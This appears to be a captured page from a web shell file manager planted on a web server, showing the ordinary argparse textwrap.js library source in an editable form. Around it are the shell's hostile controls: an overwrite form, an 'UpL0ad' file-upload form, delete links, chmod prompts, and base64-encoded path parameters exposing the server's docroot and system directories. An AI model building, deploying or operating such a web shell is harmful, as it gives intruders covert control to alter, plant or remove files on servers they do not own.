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<hr>textwrap.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli&f=dGV4dHdyYXAuanM%3D"><input name="f" value="textwrap.js"><textarea name="t">// Partial port of python's argparse module, version 3.9.0 (only wrap and fill functions):
// https://github.com/python/cpython/blob/v3.9.0b4/Lib/textwrap.py

'use strict'

/*
 * Text wrapping and filling.
 */

// Copyright (C) 1999-2001 Gregory P. Ward.
// Copyright (C) 2002, 2003 Python Software Foundation.
// Copyright (C) 2020 argparse.js authors
// Originally written by Greg Ward &lt;gward@python.net&gt;

// Hardcode the recognized whitespace characters to the US-ASCII
// whitespace characters.  The main reason for doing this is that
// some Unicode spaces (like \u00a0) are non-breaking whitespaces.
//
// This less funky little regex just split on recognized spaces. E.g.
//   &quot;Hello there -- you goof-ball, use the -b option!&quot;
// splits into
//   Hello/ /there/ /--/ /you/ /goof-ball,/ /use/ /the/ /-b/ /option!/
const wordsep_simple_re = /([\t\n\x0b\x0c\r ]+)/

class TextWrapper {
    /*
     *  Object for wrapping/filling text.  The public interface consists of
     *  the wrap() and fill() methods; the other methods are just there for
     *  subclasses to override in order to tweak the default behaviour.
     *  If you want to completely replace the main wrapping algorithm,
     *  you'll probably have to override _wrap_chunks().
     *
     *  Several instance attributes control various aspects of wrapping:
     *    width (default: 70)
     *      the maximum width of wrapped lines (unless break_long_words
     *      is false)
     *    initial_indent (default: &quot;&quot;)
     *      string that will be prepended to the first line of wrapped
     *      output.  Counts towards the line's width.
     *    subsequent_indent (default: &quot;&quot;)
     *      string that will be prepended to all lines save the first
     *      of wrapped output; also counts towards each line's width.
     *    expand_tabs (default: true)
     *      Expand tabs in input text to spaces before further processing.
     *      Each tab will become 0 .. 'tabsize' spaces, depending on its position
     *      in its line.  If false, each tab is treated as a single character.
     *    tabsize (default: 8)
     *      Expand tabs in input text to 0 .. 'tabsize' spaces, unless
     *      'expand_tabs' is false.
     *    replace_whitespace (default: true)
     *      Replace all whitespace characters in the input text by spaces
     *      after tab expansion.  Note that if expand_tabs is false and
     *      replace_whitespace is true, every tab will be converted to a
     *      single space!
     *    fix_sentence_endings (default: false)
     *      Ensure that sentence-ending punctuation is always followed
     *      by two spaces.  Off by default because the algorithm is
     *      (unavoidably) imperfect.
     *    break_long_words (default: true)
     *      Break words longer than 'width'.  If false, those words will not
     *      be broken, and some lines might be longer than 'width'.
     *    break_on_hyphens (default: true)
     *      Allow breaking hyphenated words. If true, wrapping will occur
     *      preferably on whitespaces and right after hyphens part of
     *      compound words.
     *    drop_whitespace (default: true)
     *      Drop leading and trailing whitespace from lines.
     *    max_lines (default: None)
     *      Truncate wrapped lines.
     *    placeholder (default: ' [...]')
     *      Append to the last line of truncated text.
     */

    constructor(options = {}) {
        let {
            width = 70,
            initial_indent = '',
            subsequent_indent = '',
            expand_tabs = true,
            replace_whitespace = true,
            fix_sentence_endings = false,
            break_long_words = true,
            drop_whitespace = true,
            break_on_hyphens = true,
            tabsize = 8,
            max_lines = undefined,
            placeholder=' [...]'
        } = options

        this.width = width
        this.initial_indent = initial_indent
        this.subsequent_indent = subsequent_indent
        this.expand_tabs = expand_tabs
        this.replace_whitespace = replace_whitespace
        this.fix_sentence_endings = fix_sentence_endings
        this.break_long_words = break_long_words
        this.drop_whitespace = drop_whitespace
        this.break_on_hyphens = break_on_hyphens
        this.tabsize = tabsize
        this.max_lines = max_lines
        this.placeholder = placeholder
    }


    // -- Private methods -----------------------------------------------
    // (possibly useful for subclasses to override)

    _munge_whitespace(text) {
        /*
         *  _munge_whitespace(text : string) -&gt; string
         *
         *  Munge whitespace in text: expand tabs and convert all other
         *  whitespace characters to spaces.  Eg. &quot; foo\\tbar\\n\\nbaz&quot;
         *  becomes &quot; foo    bar  baz&quot;.
         */
        if (this.expand_tabs) {
            text = text.replace(/\t/g, ' '.repeat(this.tabsize)) // not strictly correct in js
        }
        if (this.replace_whitespace) {
            text = text.replace(/[\t\n\x0b\x0c\r]/g, ' ')
        }
        return text
    }

    _split(text) {
        /*
         *  _split(text : string) -&gt; [string]
         *
         *  Split the text to wrap into indivisible chunks.  Chunks are
         *  not quite the same as words; see _wrap_chunks() for full
         *  details.  As an example, the text
         *    Look, goof-ball -- use the -b option!
         *  breaks into the following chunks:
         *    'Look,', ' ', 'goof-', 'ball', ' ', '--', ' ',
         *    'use', ' ', 'the', ' ', '-b', ' ', 'option!'
         *  if break_on_hyphens is True, or in:
         *    'Look,', ' ', 'goof-ball', ' ', '--', ' ',
         *    'use', ' ', 'the', ' ', '-b', ' ', option!'
         *  otherwise.
         */
        let chunks = text.split(wordsep_simple_re)
        chunks = chunks.filter(Boolean)
        return chunks
    }

    _handle_long_word(reversed_chunks, cur_line, cur_len, width) {
        /*
         *  _handle_long_word(chunks : [string],
         *                    cur_line : [string],
         *                    cur_len : int, width : int)
         *
         *  Handle a chunk of text (most likely a word, not whitespace) that
         *  is too long to fit in any line.
         */
        // Figure out when indent is larger than the specified width, and make
        // sure at least one character is stripped off on every pass
        let space_left
        if (width &lt; 1) {
            space_left = 1
        } else {
            space_left = width - cur_len
        }

        // If we're allowed to break long words, then do so: put as much
        // of the next chunk onto the current line as will fit.
        if (this.break_long_words) {
            cur_line.push(reversed_chunks[reversed_chunks.length - 1].slice(0, space_left))
            reversed_chunks[reversed_chunks.length - 1] = reversed_chunks[reversed_chunks.length - 1].slice(space_left)

        // Otherwise, we have to preserve the long word intact.  Only add
        // it to the current line if there's nothing already there --
        // that minimizes how much we violate the width constraint.
        } else if (!cur_line) {
            cur_line.push(...reversed_chunks.pop())
        }

        // If we're not allowed to break long words, and there's already
        // text on the current line, do nothing.  Next time through the
        // main loop of _wrap_chunks(), we'll wind up here again, but
        // cur_len will be zero, so the next line will be entirely
        // devoted to the long word that we can't handle right now.
    }

    _wrap_chunks(chunks) {
        /*
         *  _wrap_chunks(chunks : [string]) -&gt; [string]
         *
         *  Wrap a sequence of text chunks and return a list of lines of
         *  length 'self.width' or less.  (If 'break_long_words' is false,
         *  some lines may be longer than this.)  Chunks correspond roughly
         *  to words and the whitespace between them: each chunk is
         *  indivisible (modulo 'break_long_words'), but a line break can
         *  come between any two chunks.  Chunks should not have internal
         *  whitespace; ie. a chunk is either all whitespace or a &quot;word&quot;.
         *  Whitespace chunks will be removed from the beginning and end of
         *  lines, but apart from that whitespace is preserved.
         */
        let lines = []
        let indent
        if (this.width &lt;= 0) {
            throw Error(`invalid width ${this.width} (must be &gt; 0)`)
        }
        if (this.max_lines !== undefined) {
            if (this.max_lines &gt; 1) {
                indent = this.subsequent_indent
            } else {
                indent = this.initial_indent
            }
            if (indent.length + this.placeholder.trimStart().length &gt; this.width) {
                throw Error('placeholder too large for max width')
            }
        }

        // Arrange in reverse order so items can be efficiently popped
        // from a stack of chucks.
        chunks = chunks.reverse()

        while (chunks.length &gt; 0) {

            // Start the list of chunks that will make up the current line.
            // cur_len is just the length of all the chunks in cur_line.
            let cur_line = []
            let cur_len = 0

            // Figure out which static string will prefix this line.
            let indent
            if (lines) {
                indent = this.subsequent_indent
            } else {
                indent = this.initial_indent
            }

            // Maximum width for this line.
            let width = this.width - indent.length

            // First chunk on line is whitespace -- drop it, unless this
            // is the very beginning of the text (ie. no lines started yet).
            if (this.drop_whitespace &amp;&amp; chunks[chunks.length - 1].trim() === '' &amp;&amp; lines.length &gt; 0) {
                chunks.pop()
            }

            while (chunks.length &gt; 0) {
                let l = chunks[chunks.length - 1].length

                // Can at least squeeze this chunk onto the current line.
                if (cur_len + l &lt;= width) {
                    cur_line.push(chunks.pop())
                    cur_len += l

                // Nope, this line is full.
                } else {
                    break
                }
            }

            // The current line is full, and the next chunk is too big to
            // fit on *any* line (not just this one).
            if (chunks.length &amp;&amp; chunks[chunks.length - 1].length &gt; width) {
                this._handle_long_word(chunks, cur_line, cur_len, width)
                cur_len = cur_line.map(l =&gt; l.length).reduce((a, b) =&gt; a + b, 0)
            }

            // If the last chunk on this line is all whitespace, drop it.
            if (this.drop_whitespace &amp;&amp; cur_line.length &gt; 0 &amp;&amp; cur_line[cur_line.length - 1].trim() === '') {
                cur_len -= cur_line[cur_line.length - 1].length
                cur_line.pop()
            }

            if (cur_line) {
                if (this.max_lines === undefined ||
                    lines.length + 1 &lt; this.max_lines ||
                    (chunks.length === 0 ||
                     this.drop_whitespace &amp;&amp;
                     chunks.length === 1 &amp;&amp;
                     !chunks[0].trim()) &amp;&amp; cur_len &lt;= width) {
                    // Convert current line back to a string and store it in
                    // list of all lines (return value).
                    lines.push(indent + cur_line.join(''))
                } else {
                    let had_break = false
                    while (cur_line) {
                        if (cur_line[cur_line.length - 1].trim() &amp;&amp;
                            cur_len + this.placeholder.length &lt;= width) {
                            cur_line.push(this.placeholder)
                            lines.push(indent + cur_line.join(''))
                            had_break = true
                            break
                        }
                        cur_len -= cur_line[-1].length
                        cur_line.pop()
                    }
                    if (!had_break) {
                        if (lines) {
                            let prev_line = lines[lines.length - 1].trimEnd()
                            if (prev_line.length + this.placeholder.length &lt;=
                                    this.width) {
                                lines[lines.length - 1] = prev_line + this.placeholder
                                break
                            }
                        }
                        lines.push(indent + this.placeholder.lstrip())
                    }
                    break
                }
            }
        }

        return lines
    }

    _split_chunks(text) {
        text = this._munge_whitespace(text)
        return this._split(text)
    }

    // -- Public interface ----------------------------------------------

    wrap(text) {
        /*
         *  wrap(text : string) -&gt; [string]
         *
         *  Reformat the single paragraph in 'text' so it fits in lines of
         *  no more than 'self.width' columns, and return a list of wrapped
         *  lines.  Tabs in 'text' are expanded with string.expandtabs(),
         *  and all other whitespace characters (including newline) are
         *  converted to space.
         */
        let chunks = this._split_chunks(text)
        // not implemented in js
        //if (this.fix_sentence_endings) {
        //    this._fix_sentence_endings(chunks)
        //}
        return this._wrap_chunks(chunks)
    }

    fill(text) {
        /*
         *  fill(text : string) -&gt; string
         *
         *  Reformat the single paragraph in 'text' to fit in lines of no
         *  more than 'self.width' columns, and return a new string
         *  containing the entire wrapped paragraph.
         */
        return this.wrap(text).join('\n')
    }
}


// -- Convenience interface ---------------------------------------------

function wrap(text, options = {}) {
    /*
     *  Wrap a single paragraph of text, returning a list of wrapped lines.
     *
     *  Reformat the single paragraph in 'text' so it fits in lines of no
     *  more than 'width' columns, and return a list of wrapped lines.  By
     *  default, tabs in 'text' are expanded with string.expandtabs(), and
     *  all other whitespace characters (including newline) are converted to
     *  space.  See TextWrapper class for available keyword args to customize
     *  wrapping behaviour.
     */
    let { width = 70, ...kwargs } = options
    let w = new TextWrapper(Object.assign({ width }, kwargs))
    return w.wrap(text)
}

function fill(text, options = {}) {
    /*
     *  Fill a single paragraph of text, returning a new string.
     *
     *  Reformat the single paragraph in 'text' to fit in lines of no more
     *  than 'width' columns, and return a new string containing the entire
     *  wrapped paragraph.  As with wrap(), tabs are expanded and other
     *  whitespace characters converted to space.  See TextWrapper class for
     *  available keyword args to customize wrapping behaviour.
     */
    let { width = 70, ...kwargs } = options
    let w = new TextWrapper(Object.assign({ width }, kwargs))
    return w.fill(text)
}

// -- Loosely related functionality -------------------------------------

let _whitespace_only_re = /^[ \t]+$/mg
let _leading_whitespace_re = /(^[ \t]*)(?:[^ \t\n])/mg

function dedent(text) {
    /*
     *  Remove any common leading whitespace from every line in `text`.
     *
     *  This can be used to make triple-quoted strings line up with the left
     *  edge of the display, while still presenting them in the source code
     *  in indented form.
     *
     *  Note that tabs and spaces are both treated as whitespace, but they
     *  are not equal: the lines &quot;  hello&quot; and &quot;\\thello&quot; are
     *  considered to have no common leading whitespace.
     *
     *  Entirely blank lines are normalized to a newline character.
     */
    // Look for the longest leading string of spaces and tabs common to
    // all lines.
    let margin = undefined
    text = text.replace(_whitespace_only_re, '')
    let indents = text.match(_leading_whitespace_re) || []
    for (let indent of indents) {
        indent = indent.slice(0, -1)

        if (margin === undefined) {
            margin = indent

        // Current line more deeply indented than previous winner:
        // no change (previous winner is still on top).
        } else if (indent.startsWith(margin)) {
            // pass

        // Current line consistent with and no deeper than previous winner:
        // it's the new winner.
        } else if (margin.startsWith(indent)) {
            margin = indent

        // Find the largest common whitespace between current line and previous
        // winner.
        } else {
            for (let i = 0; i &lt; margin.length &amp;&amp; i &lt; indent.length; i++) {
                if (margin[i] !== indent[i]) {
                    margin = margin.slice(0, i)
                    break
                }
            }
        }
    }

    if (margin) {
        text = text.replace(new RegExp('^' + margin, 'mg'), '')
    }
    return text
}

module.exports = { wrap, fill, dedent }
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/argparse/lib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2U="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli&x=c3ViLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli&f=c3ViLmpz"/>sub.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli&f=c3ViLmpz&c=`+btoa(c):0" value="0644"></td><td>2252</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli&x=dGV4dHdyYXAuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli&f=dGV4dHdyYXAuanM="/>textwrap.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYXJncGFyc2UvbGli&f=dGV4dHdyYXAuanM=&c=`+btoa(c):0" value="0644"></td><td>17391</td></tr></table>